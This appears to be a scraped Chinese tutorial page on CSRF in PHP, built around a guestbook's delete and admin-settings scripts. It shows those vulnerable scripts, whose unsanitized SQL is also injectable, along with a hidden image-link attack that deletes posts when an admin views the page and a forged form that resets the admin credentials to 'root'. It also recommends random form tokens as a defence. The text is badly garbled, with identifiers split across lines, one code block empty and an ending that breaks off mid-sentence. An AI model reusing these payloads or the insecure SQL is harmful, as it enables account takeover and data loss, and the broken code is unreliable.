公众号推荐
微信公众号搜"智元新知" 关注 微信扫一扫可直接关注哦!
php漏洞之跨网站请求伪造与防止伪造方法
时间:2018-12-30 分类:PHP 作者:编程之家
伪造跨站请求介绍 伪造跨站请求比较难以防范,而且危害巨大,攻击者可以通过这种方式恶作剧,发spam信息,删除 数据等等。这种攻击常见的表现形式有: 伪造链接 ,引诱用户 点击,或是让用户 在不知情的情况下访问 伪造表单,引诱用户 提交。表单可以是隐藏的,用图片 或链接 的形式伪装。 比较常见而且也很廉价的防范手段是在所有可能涉及用户 写操作的表单中加入一个 随机 且变换频繁的字符串,然后在处理表单的时候对这个字符串进行检查。这个随机 字符串如果和当前用户 身份相关联的话,那么攻击者伪造请求会比较麻烦。 如果攻击者以隐藏的方式发送给目标用户 链接 <img src="/buy.PHP ?item=watch&num=1000"/>,那么如果目标用户 不小心访问以后,购买的数量 就成了1000个 实例 随缘网络PHP 留言板V1.0 <div class="codetitle"><a style="CURSOR: pointer" data="66607" class="copybut" id="copybut66607" onclick="doCopy('code66607')"> 代码 如下:
<div class="codebody" id="code66607">
任意
删除 留言
//delbook.
PHP 此
页面 用于
删除 留言
<?
PHP include_once("dlyz.
PHP "); //dlyz.
PHP 用户 验证权限,当权限是admin的时候方可
删除 留言
include_once("../conn.
PHP ");
$del=$_GET["del"];
$id=$_GET["id"];
if ($del=="data")
{
$ID_Dele= implode(",",$_POST['adid']);
$
sql ="delete from book where id in (".$ID_Dele.")";
MysqL _query($
sql );
}
else
{
$
sql ="delete from book where id=".$id; //传递要
删除 的留言ID
MysqL _query($
sql );
}
MysqL _close($conn);
echo "";
?>
当我们具有admin权限,提交http://localhost/manage/delbook.
PHP ?id=2 时,就会
删除 id为2的留言
利用
方法 :
我们使用普通
用户 留言(源
代码 方式),
内容 为
<div class="codetitle">
<a style="CURSOR: pointer" data="58321" class="copybut" id="copybut58321" onclick="doCopy('code58321')"> 代码 如下: <div class="codebody" id="code58321">
插入4张
图片链接 分别
删除 4个id留言,然后我们返
回首页 浏览看,没有什么变化。。
图片 显示 不了
现在我们再用
管理员 账号登陆后,来刷新
首页 ,会发现留言就剩一条,其他在
图片链接 中指定的ID号的留言,全部都被
删除 。
攻击者在留言中插入隐藏的
图片链接 ,此
链接 具有
删除 留言的作用,而攻击者自己访问这些
图片链接 的时候,是不具有权限的,所以看不到任何
效果 ,但是当
管理员 登陆后,查看此留言,就会执行隐藏的
链接 ,而他的权限又是足够大的,从而这些留言就被
删除 了
修改 管理员 密码
<div class="codetitle">
<a style="CURSOR: pointer" data="36295" class="copybut" id="copybut36295" onclick="doCopy('code36295')"> 代码 如下: <div class="codebody" id="code36295">
//pass.
PHP if($_GET["act"])
{
$username=$_POST["username"];
$sh=$_POST["sh"];
$gg=$_POST["gg"];
$title=$_POST["title"];
$
cop yright=$_POST["
cop yright"]."
网站:
编程之家 ";
$password=md5($_POST["password"]);
if(empty($_POST["password"]))
{
$
sql ="update gly set username='".$username."',sh=".$sh.",gg='".$gg."',title='".$title."',
cop yright='".$
cop yright."' where id=1";
}
else
{
$
sql ="update gly set username='".$username."',password='".$password."',
cop yright='".$
cop yright."' where id=1";
}
MysqL _query($
sql );
MysqL _close($conn);
echo "";
}
这个
文件 用于
修改 管理密码和网站设置的一些信息,我们可以直接构造如下表单:
<form action="
http://localhost/manage/pass .
PHP ?act=xg" method="post" name="form1" id="form1">
<input type="ra
dio " value="1" name="sh">
<input type="ra
dio " name="sh" checked value="0">
<input type="text" name="username" value="root">
<input type="password" name="password" value="root">
向目标程序的pass.